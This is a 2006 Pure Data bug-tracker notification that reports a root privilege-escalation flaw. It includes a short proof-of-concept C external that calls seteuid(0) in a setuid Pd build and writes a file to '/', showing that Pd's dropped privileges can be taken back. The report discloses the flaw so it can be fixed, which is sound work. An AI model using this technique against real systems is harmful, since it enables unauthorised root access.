[ pure-data-Bugs-1602345 ] security vulnerability, giving root access - Pd-dev

24 Nov 2006


      Bugs item #1602345, was opened at 2006-11-24 10:48
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345...
Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: puredata
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Mathieu Bouchard (matju)
Assigned to: Nobody/Anonymous (nobody)
Summary: security vulnerability, giving root access
Initial Comment:
first configure with --enable-setuid or just chmod 4755 pd && chown root pd, which has the same effect.
then load this external called crack.c by making a [crack] box or -lib crack:
#include <unistd.h>
#include <stdio.h>
void crack_setup (void) {
  seteuid(0);
  fopen("/hax0r","w");
}
An empty file called "hax0r" appears in protected folder "/" even though privileges have been dropped by pd upon startup.
----------------------------------------------------------------------
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345...